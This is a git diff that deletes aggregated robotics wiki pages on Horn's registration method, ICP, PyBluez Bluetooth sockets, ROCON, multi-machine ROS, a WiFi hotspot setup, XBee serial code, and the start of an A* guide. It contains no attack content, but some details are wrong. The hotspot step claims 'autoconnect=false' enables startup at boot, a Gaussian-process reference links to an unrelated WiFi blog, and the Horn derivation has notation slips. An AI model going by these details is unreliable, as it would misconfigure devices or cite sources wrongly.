https://www.dfki.de/fileadmin/user_upload/import/9083_20170615_Gaussian_Process_Estimation_of_Odometry_Errors_for_Localization_and_Mapping.pdf -3. Gaussian Process Motion Planning: https://www.cc.gatech.edu/~bboots3/files/GPMP.pdf -4. Adaptive Sampling and Online Learning in Multi-Robot Sensor Coverage with Mixture of Gaussian Processes: https://www.ri.cmu.edu/wp-content/uploads/2018/08/ICRA18_AdaSam_Coverage.pdf - -## References -1. C. E. Rasmussen and C. K. I. Williams. *Gaussian Processes for Machine Learning*. MIT Press,2006. -2. An intuitive guide to Gaussian processes: http://asctecbasics.blogspot.com/2013/06/basic-wifi-communication-setup-part-1.html -3. Qi, Y., Minka, T.P., Picard, R.W., and Ghahramani, Z. *Predictive Automatic Relevance Determination by Expectation Propagation*. In Twenty-first International Conference on Machine Learning (ICML-04). Banff, Alberta, Canada, 2004. -4. O’Hagan, A. *Curve Fitting and Optimal Design for Prediction (with discussion)*. Journal of the Royal Statistical Society B, 40(1):1-42, 1978. -5. MacKay, David, J.C. (2003). Information Theory, Inference, and Learning Algorithms. Cambridge University Press. p. 540. ISBN 9780521642989. -6. Dudley, R. M. (1975). "The Gaussian process and how to approach it". Proceedings of the International Congress of Mathematicians. -7. Bishop, C.M. (2006). Pattern Recognition and Machine Learning. Springer. ISBN 978-0-387-31073-2. -8. Dempster, A.P.; Laird, N.M.; Rubin, D.B. (1977). "Maximum Likelihood from Incomplete Data via the EM Algorithm". Journal of the Royal Statistical Society, Series B. 39 (1): 1–38. JSTOR 2984875. MR 0501537. -9. "Maximum likelihood theory for incomplete data from an exponential family". Scandinavian Journal of Statistics. 1 (2): 49–58. JSTOR 4615553. MR 0381110. - - -/wiki/math/registration-techniques/ ---- -date: 2020-05-11 -title: Registration Techniques in Robotics ---- -Absolute orientation is a fundamental and important task in robotics. It seeks to determine the translational, rotational, and uniform scalar correspondence between two different Cartesian coordinate systems given a set of corresponding point pairs. Dr. Berthold K.P. Horn proposed a closed-form solution of absolute orientation which is often a least-squares problem. Horn validated that his solution holds good for two of the most common representations of rotation: unit quaternions and orthonormal matrices. - -In robotics, there are typically several sensors in a scene and it is necessary to register all of them with respect to each other and to the robot. It is quite common to then register these components to a chosen world frame, which can just be the frame of one of these components. Horn's method is frequently used to estimate the rotation (R), translation (t), and scale(s) that registers one frame to another. - -### Horn's Method -The advantage of Horn's closed-form solution is that it provides one in a single step with the best possible transformation, given at least 3 pairs of matching points in the two coordinate systems. Furthermore, one does not need a good initial guess, as one does when an iterative method is used. The underlying mathematics of Horn's method is elucidated below. - -Let's call the two coordinate systems that we wish to register "left" and "right". Let \\( x_{l, i} \\) and \\(x_{r, i} \\) be the coordinates of point i in the left-hand and right-hand coordinate systems respectively. The objective of Horn's method is to find the R, t, and s that transforms a point x in the left coordinate system to an equivalent point x' in the right coordinate system according to the equation: - -$$ x^{\prime}=s R x+t $$ - -Usually, the data are not perfect and we will not be able to find the correspondence between the two points perfectly. The residual error is expressed as: - -$$ e_{i}=x_{r, i}-s R x_{l, i}-t $$ - -Horn's method minimizes the sum of squares of these errors: - -$$ (t, s, R)=\underset{t, s, R}{\operatorname{argmin}} \sum_{i=1}^{n}\left\|e_{i}\right\|^{2} $$ - -Horn's paper [2] offers mathematical rigor into the solution but the most tractable approach [4] to attain the closed-form solution is explained below: - -1. Compute the centroids of \\( x_l \\) and \\( x_r \\) as: - -$$ \bar{x}_{l}=\frac{1}{n} \sum_{i=1}^{n} x_{l, i}\quad \quad \bar{x}_{r}=\frac{1}{n} \sum_{i=1}^{n} x_{r, i} $$ - -2. Shift points in both coordinate systems so that they are defined with respect to the centroids: - -$$ x_{l, i}^{\prime}=x_{l, i}-\bar{x}_{l}\quad \quad x_{r, i}^{\prime}=x_{r, i}-\bar{x}_{r} $$ - -3. The residual error term with reference to the centroid of the shifted points is now: - -$$ e_{i}=x_{r, i}^{\prime}-s R x_{l, i}^{\prime}-t^{\prime} $$ -The translational offset between the centroids of the left and right coordinate systems is: -$$ t^{\prime}=t-\bar{x}_{r}+s R \bar{x}_{l} $$ - -In [2], Horn proves that the squared error is minimized when \\( t' = \mathbf{0} \\). So the equation that yields \\( t \\) is: - -$$ t=\bar{x}_{r}-s R \bar{x}_{l} $$ - -Thus, the translation is just the difference of the right centroid and the scaled and rotated left centroid. -Once we have solved for \\( R \\) and \\( s \\) we get back to this equations to solve for \\( t \\). Since the error is minimum when \\( t' = \mathbf{0} \\), the error term is now: - -$$ \begin{align*} e_{i}=& x_{r, i}^{\prime}-s R x_{l, i}^{\prime}\\ e_{i}=& \frac{1}{\sqrt{s}} x_{r, i}^{\prime}-\sqrt{s} R x_{l, i}^{\prime} \quad \text{(rearranging the terms)} \end{align*} $$ - -4. Equation (1) now reduces to: - -$$ \begin{align*} (s, R)=& \underset{s, R}{\operatorname{argmin}} \sum_{i=1}^{n}\left\|e_{i}\right\|^{2} \\ =& \underset{s, R}{\operatorname{argmin}} \frac{1}{s} \sum_{i=1}^{n}\left\|x_{r, i}^{\prime}\right\|^{2}+s \sum_{i=1}^{n}\left\|x_{l, i}\right\|^{2} -2 \sum_{i=1}^{n} x_{r, i}^{\prime} \cdot\left(R x_{l, i}^{\prime}\right) \end{align*} $$ - -This can be written in the form: - -$$ S_{r}-2 s D+s^{2} S_{l} $$ - -where \\( S_r \\) and \\( S_l \\) are the sums of squares of the measurement vectors(relative to their centroids), and \\( D \\) s the sum of the dot products of the corresponding coordinates in the right system with the rotated coordinates in the left system. Completing the square in \\( s \\) we get: - -$$ (s \sqrt{S_{l}}-D / \sqrt{S_{l}})^{2}+\left(S_{r} S_{l}-D^{2}\right) / S_{l} $$ - -This is minimized with respect to scale \\( s \\) when the first term is zero or \\( s=D / S_{l} \\) - -$$ s=\sqrt{\sum_{i=1}^{n}\left\|x_{r, i}^{\prime}\right\|^{2} / \sum_{i=1}^{n}\left\|x_{l, i}^{\prime}\right\|^{2}} $$ - -5. Now that \\( s \\) can be solved for, \\( R \\) is obtained by substituting the expression for \\( s \\) in the Equation (3): - -$$ R=\underset{R}{\operatorname{argmin}} 2\left(\sqrt{\left(\sum_{i=1}^{n}\left\|x_{r, i}^{\prime}\right\|^{2}\right)\left(\sum_{i=1}^{n}\left\|x_{l, i}^{\prime}\right\|^{2}\right)}-\sum_{i=1}^{n} x_{r, i}^{\prime} \cdot\left(R x_{l, i}^{\prime}\right)\right) $$ - -6. Once we have \\( s \\) and \\( R \\), \\( t \\) is solved for using Equation (2). - -Alternatively in [2], when there are 3 matching points whose correspondence in both systems have to be obtained, Horn constructs triads in the left and right coordinate systems. Let \\( x_l, y_l, z_l \\) and \\( x_r, y_r, z_r \\) be the unit vectors in the left and right coordinate systems respectively. In the left coordinate system, the \\( x \\) axis is defined as the line that joins points 1 and 2, and the \\( y \\) axis is a line perpendicular to this axis, and the \\( z \\) axis is obtained by the cross-product: - -$$ \dot{z}_{l}=\hat{x}_{l} \times \hat{y}_{l} $$ - -Similarly, a triad is constructed in the right coordinate system. The rotation matrix \\( R \\) that we are looking for transforms \\( \hat{x}_{l} \\) into \\( \hat{x}_{l} \\), \\( \hat{y}_{l} \\) into \\( \hat{y}_{r} \\), and \\( \hat{z}_{l}\\) into \\( \bar{z}_{r} \\). - -We adjoin column vectors to form the matrices \\( M_l \\) and \\( M_r \\) as follows: - -$$ M_l=\left|\hat{x}_l \hat{y}_{l} \hat{z}_{l}\right|, \quad M_{r}=\left|\hat{x}_{r} \hat{y}_{r} \hat{z}_r\right| $$ - -Given a vector \\( \mathbf{r}_l \\) in the left coordinate system, \\( M_l^T\mathbf{r_l} \\) gives us the components of the vector \\( r_l \\) along the axes of the constructed triad. Multiplication by \\( M_r \\) then maps these into the right coordinate system, so - -$$ \mathbf{r}_{r}=M_{r} M_{l}^{T} \mathbf{r}_{l} $$ - -The rotation matrix \\( R \\) is given by: - -$$ R=M_{r} M_{l}^{T} $$ - -The result is orthonormal since \\( M_l \\) and \\( M_r \\) are orthonormal by construction. Horn admits that while this particular approach to find \\( R \\) by constructing triads gives a closed-form solution for finding \\( R \\) given three points, it cannot be extended to deal with more than three points. - -Through the steps listed above, Horn's method presents a closed-form solution to the absolute orientation problem. - -### Camera-Robot Registration Using Horn's Method -A popular application of Horn's method is to perform camera-robot registration, i.e., to find the \\( R \\) and \\( t \\) that relates the camera frame and the robot frame. An elegant technique that uses Horn's method to register a stereo camera and the robot is explained in this section. This procedure is based on [5] in which a stereo camera overlooks the workspace of the da Vinci Research Kit by Intuitive Surgical. The code written by Nicolas Zevallos et al. of [5] can be found on the GitHub repository of Carnegie Mellon University's Biorobotics Lab, linked [here](https://github.com/gnastacast/dvrk_vision/blob/master/src/dvrk_vision/dvrk_registration.py) -Team A of the MRSD class of 2021, performed camera-robot registration using a slight modification of their technique. The procedure followed by Nicolas Zevallos et al. is explained below: -* The robot is fitted with a colored bead on its end effector; the colored bead can be easily segmented from its background by hue, saturation, and value. It is preferred that the bead be bright in color so as to increase its visibility to the stereo camera. -* The robot is moved to a fixed set of five or six points. The points are chosen to cover a significant amount of the robot's workspace and also stay within the field of view in the camera. -* The robot is moved to the specified location. The left and right images of the stereo are processed to find the centroid of the colored bead fitted to the robot. This is repeated for as many frames as are received over ROS (which is the framework used in [5]) in one second. The centroid is averaged over all the received frames for a more accurate spatial estimate of the bead. -* The pixel disparity is given as input to a stereo-camera model that ROS provides to calculate a 3D point in the camera-frame. -* Following this, we have six points in both the camera-frame and the robot-frame. The coordinates of the point in the robot-frame are known using the kinematics of the robot. -* Since we now have corresponding points in the camera-frame and the robot-frame, Horn's method is used to calculate the transformation \\( T_r^c \\) between the robot-frame and the camera-frame. - -### Iterative Closest Point Algorithm - -Iterative Closest Point (ICP) is an algorithm to register two sets of point clouds iteratively. In each iteration, the algorithm selects the closest points as correspondences and calculates the transformation, i.e., rotation and translation (\\( R \\) and \\( t \\). Although there are a number of techniques to calculate the transformation at each iteration, Horn's method remains a popular choice to do so. - -The main steps of ICP [6] are listed below: -1. For each point in the source point cloud, match the closest point in the reference point cloud -2. Calculate a transformation (a combination of rotation, translation, and scaling) which will best align each source point to its match found in the previous step. This is done by using Horn's method or a similar approach. -3. Transform the source points using the obtained transformation -4. Check if the two point clouds align within a desired threshold. If not, iterate through the algorithm again - -### Summary -Horn's method is a useful tool to estimate the rotation, translation, and scale that exist between two coordinate systems. It is widely used in robotics to register coordinate frames of different hardware components that comprise a system as well as two sets of point clouds. Thus, Horn's method provides a closed-form solution to the absolute orientation problem. - - -### References -1. Micheals, Ross & Boult, Terrance. (1999). A New Closed Form Approach to the Absolute Orientation Problem. - -2. Berthold K. P. Horn, "Closed-form solution of absolute orientation using unit quaternions," in Journal of the Optical Society of America A, vol. 4, no. 2, pp. 629-642, 1987. - -3. Berthold K. P. Horn, "Closed-form solution of absolute orientation using orthonormal matrices," in Journal of the Optical Society of America A, vol. 5, pp. 1127-1135, 1988. - -4. Ivan Stojmenović, Handbook of Sensor Networks: Algorithms and Architectures, First published:2 September 2005, Print ISBN:9780471684725, Online ISBN:9780471744146, DOI:10.1002/047174414X - -5. Zevallos, Nicolas & Rangaprasad, Arun Srivatsan & Salman, Hadi & Li, Lu & Saxena, Saumya & Xu, Mengyun & Qian, Jianing & Patath, Kartik & Choset, Howie. (2018). A Real-time Augmented Reality Surgical System for Overlaying Stiffness Information. 10.13140/RG.2.2.17472.64005. - -6. [ICP Wikipedia](https://en.wikipedia.org/wiki/Iterative_closest_point) - -7. [An Overview of Robot-Sensor Calibration Methods for -Evaluation of Perception Systems](http://faculty.cooper.edu/mili/Calibration/index.html) diff --git a/wiki/networking/__all_subsections.md b/wiki/networking/__all_subsections.md deleted file mode 100644 index 7f85e20a..00000000 --- a/wiki/networking/__all_subsections.md +++ /dev/null @@ -1,312 +0,0 @@ - -/wiki/networking/bluetooth-sockets/ ---- -date: 2017-08-21 -title: Bluetooth Socket Programming using Python PyBluez ---- -This tutorial is intended at providing a primer into Bluetooth programming in general and getting started with PyBluez, a Python Bluetooth module. Bluetooth socket programming is similar to socket programming used by network developers for TCP/IP connections and familiarity with that paradigm will certainly aid understanding although it is not required at all. - -## Important Terms and Definitions in Bluetooth Programming -1. Bluetooth address or device address. - - Every Bluetooth chip that is manufactured is imprinted with a 48-bit address unique, referred to as the Bluetooth address or device address. This is identical in nature to the MAC addresses of Ethernet and is used to identify a particular Bluetooth device -- Device Name - - It is a human readable name for a bluetooth device and is shown to the user instead of the Bluetooth address of the device. This is usually user configurable and can be the same for multiple devices. It is the responsibility of the client program to translate the name to the corresponding bluetooth addresses. TCP/IP has nameservers for doing so but in the case of Bluetooth the client program has to leverage the proximity of devices with user supplied names. -- Transport Protocol - - In the layered networking architecture, the transport protocol is the layer actually responsible for creating data packets and ensuring synchronization, robustness and preventing loss of data. In internet programming, transport protocols used are TCP or UDP whereas in the case of Bluetooth the transport protocols most frequently used are RFCOMM and L2CAP. -- Port Numbers - - Once the numerical address and transport protocol are known, the most important thing in Bluetooth programming is to choose a port number for communication. Without port numbers it would not be possible for multiple applications on the same host to utilize the same transport protocol. This concept is used in Internet Programming as well with different ports for HTTP, TCP etc. In L2CAP transport protocol, ports are known as Protocol Service Multiplexers. RFCOMM has channels numbered from 1-30 for use. In Bluetooth, the number of ports are ery limited as compared to Internet programming. Hence, in Bluetooth ports are assigned at runtime depending on application requirements. Clients know which port description they are looking for using a 128 bit number called Universally Unique Identifier (UUID) at design time using something called a Service Discovery Protocol. -- Bluetooth Profiles - - Bluetooth is a short-range nature of Bluetooth, Bluetooth profiles are necessary for specific tasks. There are separate profiles for exchanging physical location information, a profile for printing to nearby printers and a profile for nearby modems to make phone calls. There is also a profile for reducing Bluetooth programming to Internet programming. An overview of all profiles available can be found [here.](http://www.bluetooth.org/spec) - - -## Bluetooth Transport Protocols Explained -There are different transport protocols used in Bluetooth, the most important of which are discussed below -1. RFCOMM - - RFCOMM protocol is essentially similar to TCP and provides the same service and capabilities. It is quite simple to use in many scenarios and is mostly used in point to point applications. If a part of data is not delivered within a fixed amount of time, then the connection is terminated. On the application end, once the port number has been defined it is similar to serial port programming and all the same practices can be used as with any serial device. This is the most intuitive and easy part of socket programming. -2. L2CAP - - This transport protocol is mostly used in situations where every packet is not crucial but speed of delivery is required. It is similar to UDP protocol and is used for its simplicity. It sends reliably data packets of fixed maximum length and is fairly customizable for varying levels of reliability. There are three policies an application can use: - - never retransmit - - retransmit until total connection failure (the default) - - drop a packet and move on to queued data. - - -## Bluez stack and PyBluez -Now coming to the actual application part of the post. PyBluez is a C (known as Bluez) and Python library for Bluetooth socket programming. PyBluez is a Python extension module written in C that provides access to system Bluetooth resources in an object oriented, modular manner. Although it provides the same functionality in both languages, only Python based implementation is discussed here. PyBluez is available for Microsoft Windows (XP onwards) and GNU/Linux. Basic knowledge of Python is assumed in this tutorial and familiarity with Linux operating system as well. - -Instructions for installing all the required libraries can be found on [here](http://www.bluez.org), but installation on Linux is fairly simple through an apt repository. On the terminal one can simply type: - -``apt-get install libbluetooth1-dev bluez-utils`` - -Following this PyBluez can be installed from their [PyBluez website.](http://org.csail.mit.edu/pybluez) -It is usually required to be installed from source. - -#### General Steps in Bluetooth Programming using PyBluez -The general steps involved in Bluetooth programming are as follows: -- Choosing a device to communicate with -- Choosing transport protocol to be used -- Establishing an outgoing or incoming connection with encryption -- Sending/Receiving data - -Using PyBluez these steps are abstracted to a very high level and application level programs are written almost in the same way as serial communication with a serial device. For most applications RFCOMM is used as the transport protocol and device names are pre-decided to avoid confusion. -In PyBluez, nearby devices for communication can be specified diectly in terms of the device name and hardware address is not required to be known. -Programming is done in terms of socket programming by forming BluetoothSocket objects. In the constructor for theses objects you can specify the transport protocol (RFCOMM/L2CAP) that you want to use. Following which you can use the connect method to simply connect with hte bluetooth device. By default all communication happens on RFCOMM port 1 but you can also dynamically choose ports. Error handling is also fairly straightforward. In case an operation fails a BluetoothError is raised which can be caught in a try catch loop in python. - -One of the most attractive features of PyBluez isthe ease with which you can use Service Discovery Protocol. As stated above, service discovery protocol allows us to find at atrun time the available bluetooth ports (RFCOMM or L2CAP) with which we can connect. It does not rely on port numbers and/or device addresses being specified at design time. The advertise_service method advertises a service with a local SDP server and find_service method searches all Bluetooth devices for a specific service and does not require device ids. The get_available_port returns the first available port number for the specified protocol but does not reserve it so you have to bind to the port. Since here is a time delay between hte two, the availability might change and a BletoothException might be raised. -There are also advanced usage options such as Asynchronous device discovery which allows the program to return even when connection to a device has not been established. This function might prove to be very nifty in certain circumstances. Complete code for using PyBluez with RFCOMM sockets can be found at [here.](https://people.csail.mit.edu/albert/bluez-intro/x502.html) - -### Bluetooth socket programming using Bash -In some applications, it is important to use Bahs to create nifty scripts for bluetooth communication. In our project we initially used this approach before shifting to Python as it was easily compatible with ROS. This information might be worthwhile for those who want to explore bash more and learn simple scripting. -Bash is an interpreted language similar to Python and Bahs scripts basically execute the commands one by one in the same way as you would enter them in the terminal. The first command to be used for serial communication is sdptool which alows you to add serial ports on different channels. For RFCOMM the channel used is 22. After this, using the rfcomm watch command, you can bind channel 22 to a dev port such as /dev/rfcomm0 22. -Using these simple commands you can listen for serial data on the rfcomm port. Now, when you pair your laptop with a bluetooth device such as an android phone and use a bluetooth emulator app such as BlueTerm, you should be able to serially send data to your laptop and 'echo' it to the screen or to a file stream. - - - -## References -1. Complete Bluetooth specifications. Recommended for serious network programmers: http://www.bluetooth.org/spec -2. A must-read guide to Bluetooth programming by the creators of PyBluez themselves: https://people.csail.mit.edu/albert/bluez-intro/c33.html\ -3. Another approach in Windows is to use Windows Socket for Bluetooth programming: https://msdn.microsoft.com/en-us/library/windows/desktop/aa362928%28v=vs.85%29.aspx -4. Java-based alternatives for PyBluez: - - Rocosoft Impronto: http://www.rocosoft.com - - Java Bluetooth:http://www.javabluetooth.org -5. Bash programming tutorials uploaded by tutoriallinux on YouTube: -https://www.youtube.com/watch?v=xtS2NiABf54 - - -/wiki/networking/rocon-multi-master/ ---- -date: 2017-08-21 -title: ROCON Multi-master Framework ---- -ROCON stands for *Robotics in Concert*. It is a multi-master framework provided by ROS. It provides easy solutions for multi-robot/device/tablet platforms. -Multimaster is primarily a means for connecting autonomously capable ROS subsystems. It could of course all be done underneath a single master - but the key point is for subsystems to be autonomously independent. This is important for wirelessly connected robots that can’t always guarantee their connection on the network. - -## The Appable Robot -The appable robot is intended to be a complete framework intended to simplify: -- Software Installation -- Launching -- Retasking -- Connectivity (pairing or multimaster modes) -- Writing portable software - -It also provides useful means of interacting with the robot over the public interface via two different modes: -1. **Pairing Mode:** 1-1 human-robot configuration and interaction. -2. **Concert Mode:** autonomous control of a robot through a concert solution. - -## Rapps -ROS Indigo has introduced the concept of Rapps for setting the multi-master system using ROCON. Rapps are meta packages providing configuration, launching rules and install dependencies. These are essentially launchers with no code. -- The specifications and parameters for rapps can be found at in the [Rapp Specifications](http://cmumrsdproject.wikispaces.com/link) -- [A guide](http://cmumrsdproject.wikispaces.com/Creating+Rapps) to creating rapps and working with them is also available. - -## The Gateway Model -The gateway model is the engine of a ROCON Multimaster system. They are used by the Rapp Manager and the concert level components to coordinate the exchange of ROS topics, services and actions between masters. The gateway model is based on the LAN concept where a gateway stands in between your LAN and the rest of the internet, controlling both what communications are allowed through, and what is sent out. Gateways for ROS systems are similar conceptually. They interpose themselves between a ROS system and other ROS systems and are the coordinators of traffic going in and out of a ROS system to remote ROS systems. -A hub acts as a shared key-value store for multiple ROS systems. Further detailed information on how the topics are shared between the multiple masters can be found [here](http://cmumrsdproject.wikispaces.com/The+Gateway+Model). - - -/wiki/networking/ros-distributed/ ---- -date: 2017-08-21 -title: Running ROS over Multiple Machines ---- -Multi­robot systems require intercommunication between processors running on different -computers. Depending on the data to be exchanged between machines, various means of -communication can be used. -- **Option 1:** Create Python server on one machine and clients on the rest and use python for communication on a locally established network. You can transfer files which contain the desired information. -- **Option 2:** Establish ROS communication between systems with one computer running the ROS master and other computers connecting to the ROS master via the same local network. - -Python communication requires the exchange of files and hence, files are created and deleted every time data is communicated. This makes the system slow and inefficient. Hence, communication over ROS is a better option. - -## Implementation -Steps to be followed: -1. Connect all computers to the same local network and get the IP addresses of all the -computers. -2. Ensure that all computers have the same version of ROS installed. (Different versions of -ROS using the ROS master of one of the versions may cause problems in running few -packages due to version/ message type/ dependency incompatibilities) -3. Edit your bashrc file and add the following two lines at the end - -``` -export ROS_MASTER_URI=http://:11311 -export ROS_IP= -``` - - - Link: http://wiki.ros.org/ROS/Tutorials/MultipleMachines - -4. The computers are now connected and this can be tested by running roscore on the server -laptop and trying to run packages such as ‘rviz’ (rosrun rviz rviz) on other laptops. -5. Though the process may seem complete now, there are certain issues that need to be fixed. - - The clocks of the computers may not be synchronized and it may cause the system to have -latency while communicating data. Check the latency of a client laptop using the following -command: `sudo ntpdate ` - - This command will show the latency and if it is not under 0.5 second, follow steps 6­ & 7. Important Link: http://wiki.ros.org/ROS/NetworkSetup -6. To solve this problem, look at Network Time Protocol Link: http://www.ntp.org/. - - Install ‘chrony’ on one machine and other machine as the server: `sudo apt­get install chrony` - - Also put this line in the file `/etc/chrony/chrony.conf`: - ``` - server c1 minpoll 0 maxpoll 5 maxdelay .0005 - ``` - - You should restart your laptop after adding the above line to the file because it tries syncing the clocks during the boot. -7. To synchronize the clocks, run the following commands (run this only if necessary) -``` -sudo /etc/init.d/chrony stop -sudo /etc/init.d/chrony start -``` - - Check the latency again by using the command in step 5. The latency should have reduced to under 0.1 seconds -8. ROS over multiple machines is now ready to be used - -## Important Tips -1. If clients communicating to the same ROS master are publishing/subscribing to the same -topics, there may be a namespace clash and the computers will not be able to distinguish one topic from the other. Link: http://nootrix.com/2013/08/ros­namespaces/ -Hence, make the topics specific to that particular machine. For example, `/cmd_vel` topic for robot 1 should now become `/robot1/cmd_vel` and for robot 2, it should be `/robot2/cmd_vel`. Also, namespaces should be added to the frames also. For three robots, transformation tree should look like this: -![Transofromation Tree for Three Robots](/assets/images/networking/ROSDistributed-1b70c.png) - - Similarly, there may also be clashing transforms that may cause problems and they need to be fixed in the same way. -2. Try not to run any graphics such as Rviz or RQt on the clients while communicating as they consume a lot of bandwidth and may cause the system to slow down. -All the computers can be controlled from the server laptop for any commands that need to run on them by performing ‘ssh’ into the client laptop from the server laptop. -3. A low quality router might also be a reason of low communication speed. Getting a better -quality router will help solving the latency and timing issues. - -## Further Reading -For any other guidance, look at the links given below: -1. http://wiki.ros.org/ROS/NetworkSetup -2. http://wiki.ros.org/ROS/Tutorials/MultipleMachines -3. http://www.ntp.org/ -4. http://nootrix.com/2013/08/ros­-namespaces - - -/wiki/networking/wifi-hotspot/ ---- -date: 2019-11-11 -title: Setting up WiFi Hotspot at the Boot up for Linux Devices ---- - -Most of the mobile robot platform uses Linux based Single board computer for onboard computation and these SBCs typically have WiFi or an external WiFi dongle can also be attached. While testing/debugging we need to continuously monitor the performance of the robot which makes it very important to have a remote connection with our robot. So, in this tutorial, we will help you in setting up the WiFi hotspot at the boot for Linux devices like Nvidia Jetson and Intel NUC. We will start with the procedure to set up the WiFi hotspot and then we will discuss how to change Wi-Fi hotspot settings in Ubuntu 18.04 to start it at bootup. - -# Table of Contents -- [Table of Contents](#table-of-contents) - - [Create a WiFi hotspot in Ubuntu 18.04](#create-a-wifi-hotspot-in-ubuntu-1804) - - [Edit WiFi hotspot settings in Ubuntu 18.04](#edit-wifi-hotspot-settings-in-ubuntu-1804) - - [Option 1: Edit the hotspot configuration file.](#option-1-edit-the-hotspot-configuration-file) - - [Option 2: NM Connection Editor.](#option-2-nm-connection-editor) - - [/wiki/networking/xbee-pro-digimesh-900/](#wikinetworkingxbee-pro-digimesh-900) - - [title: XBee Pro DigiMesh 900](#title-xbee-pro-digimesh-900) - - [Configuring the Modules:](#configuring-the-modules) - - [Using Python for Serial Communication](#using-python-for-serial-communication) - - [Resources](#resources) - -## Create a WiFi hotspot in Ubuntu 18.04 -This section will help you in setting up the WiFi hotspot at the boot for Linux devices. -1. To create a Wi-Fi hotspot, the first turn on the Wi-Fi and select Wi-Fi settings from the system Wi-Fi menu. -2. In the Wi-Fi settings window, click on the menu icon from the window upper right-hand side corner, and select turn On Wi-Fi hotspot. -3. A new Wi-Fi hotspot always uses AP mode in Ubuntu 18.04, and the network SSID and password, as well as the security type (WPA/WPA2 is used by default in Ubuntu 18.04), are presented on the next screen which is displayed immediately after enabling the Wi-Fi hotspot. - -If you are ok with the defaults and don't want to change anything, that's all you have to do to create a Wi-Fi hotspot in Ubuntu 18.04. - -## Edit WiFi hotspot settings in Ubuntu 18.04 -There are two ways to edit hotspot settings (like the network SSID and password) which will be discussed in this section. -#### Option 1: Edit the hotspot configuration file. -1. After creating a hotspot for the first time, a file called hotspot is created which holds some settings. So make sure to create a hotspot first or else this file does not exist. -2. In this file you can configure the network SSID it appears as ```ssid = ``` under ```[wifi]```), the Wi-Fi password is the value of ```psk=``` under ```[wifi-security]```), and other settings as required. -``` -sudo nano /etc/NetworkManager/system-connections/Hotspot -``` -3. In the same file set ```autoconnect=false``` to set up the hotspot at bootup automatically. -4. After making changes to the hotspot configuration file you'll need to restart Network Manager: -``` -sudo systemctl restart NetworkManager -``` - -#### Option 2: NM Connection Editor. -NM connection editor also allows you to modify the hotspot Wi-Fi mode, band etc. It can be started by pressing ```Alt + F2``` or using this command: -``` -nm-connection-editor -``` -All changes can be made directly in the nm-connection-editor in its corresponding tab. After making any changes using nm-connection-editor, you'll need to restart Network Manager. -``` -sudo systemctl restart NetworkManager -``` - -To make sure all settings are preserved, start a hotspot by selecting turn On Wi-Fi Hotspot from the Wi-Fi System Settings once. Use the Connect to Hidden Network option for subsequent uses, then select the connection named Hotspot and click Connect. - - -/wiki/networking/xbee-pro-digimesh-900/ ---- -date: 2017-08-21 -title: XBee Pro DigiMesh 900 ---- -XBee-PRO 900 DigiMesh is useful for setting up your own low bandwidth mesh network. These adapters are great for Mesh Networks and implementations of networks such as VANETs. This tutorial is intended to help you with configuring these adapters and writing a simple python script to initiate bi-directional communication on a serial device. - -## Configuring the Modules: - -> IMPORTANT: The latest versions of X-CTU support Linux so don't follow the older guides found online which require 'wine' installation on Linux to run it. - -Firstly, download and install X-CTU. [The official guide from DIGI](https://docs.digi.com/display/XCTU/Download+and+install+XCTU) will walk you through this process. - -Once you are done with this, plug in your XBee adapter and launch X-CTU. The device should get detected automatically and you'll be presented with a screen similar to the one seen below. -![X-CTU Screen](/assets/images/networking/XbeeProDigiMesh900-1fc56.png) - -Now it is important to note that this is not an ordinary XBee adapter which is why you'll see many more options than usual. Firstly, all your devices should be have same Modem VID (ID) and Hopping Channel (HP) for them to communicate. Now, further settings will depend on your individual requirements but just to explain some important parameters: -- **Multi-Transmit (MT):** To set/read number of additional broadcast re-transmissions. All broadcast packets are transmitted MT+1 times to ensure it is received. -- **Broadcast Radius (BR):** To set/read the transmission radius for broadcast data transmissions. Set to 0 for maximum radius. If BR is set greater than Network Hops then the value of Network Hops is used. -- **Mesh Retries (MR):** To set/read maximum number of network packet delivery attempts. If MR is non-zero, packets sent will request a network acknowledgement, and can be resent up to MR times if no acknowledgements are received. - -Once you are done configuring your XBee PRO adapter as per your mesh network configurations, you are now ready to start using them. - -## Using Python for Serial Communication -To carry out serial communication using Python, first we need to install pySerial. -Skip to Step 2 if you already have pip installed. -1. `sudo apt-get install python-pip` -2. `sudo pip install pyserial` - -Now, to have bi-directional or full duplex communication, we'll have to use threads which ensure that read and write can happen simultaneously. -Here is a small python script which does that: -``` -import serial -from threading import Thread - -ser = serial.Serial("/dev/ttyUSB0", 9600, timeout=1) - -def read_serial(): - while True: - if ser.inWaiting() > 0: - print ser.readline() - -def write_serial(): - while True: - x = input("Enter: ") - ser.write(x) - -t1 = Thread(target=read_serial) -t2 = Thread(target=write_serial) -t1.start() -t2.start() -``` - -To fix the issue of having to set the port manually every time or hard-coding it, you can add the lines below in your python script and then call the function connect, as provided below, to automatically detect the USB port. This will only work for one XBee adapter connected to the computer. -``` -import subprocess - -def connect(): - global ser, flag - x = subprocess.check_output("ls /dev/serial/by-id", shell = True).split() - if x[0].find("Digi") != -1: - y = subprocess.check_output("dmesg | grep tty", shell = True).split() - indices = [i for i, x in enumerate(y) if x == "FTDI"] - address = "/dev/" + y[indices[-1]+8] - ser = serial.Serial(address, 9600, timeout = 1) - ser.flushInput() - ser.flushOutput() - flag = 0 - else: - raise ValueError -``` - -Now you have configured the adapters and written a basic Python Script to carry out serial communication on a Mesh Network. - -For advanced usage, look in to: -1. pySerial API: http://pyserial.readthedocs.org/en/latest/pyserial_api.html - - This library has many more advanced functionalities to configure the port being used. The example code snippets provided on the website serve as a good starting point. -2. Threading API: https://docs.python.org/2/library/threading.html -- This library has many advanced functions to control the operation of a thread. One thing to look in particular is thread lock which is useful while operating on shared data structures between threads. - -## Resources -1. To compare the DigiMesh architecture to ZigBee mesh architecture, you can refer to [this guide](http://www.digi.com/pdf/wp_zigbeevsdigimesh.pdf) which points out the pros and cons of both. -- For detailed information, please refer to the [User Guide](http://ftp1.digi.com/support/documentation/90000903_G.pdf). The guide has details regarding technical specifications, internal and overall communication architecture, command reference tables, etc. diff --git a/wiki/planning/__all_subsections.md b/wiki/planning/__all_subsections.md deleted file mode 100644 index 0ec2119c..00000000 --- a/wiki/planning/__all_subsections.md +++ /dev/null @@ -1,893 +0,0 @@ -/wiki/planning/astar-planning-implementation-guide/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2020-12-06 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: A* Implementation Guide -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -## Introduction -This wiki aims to serve as a brief introduction and implementation guideline for A* search, 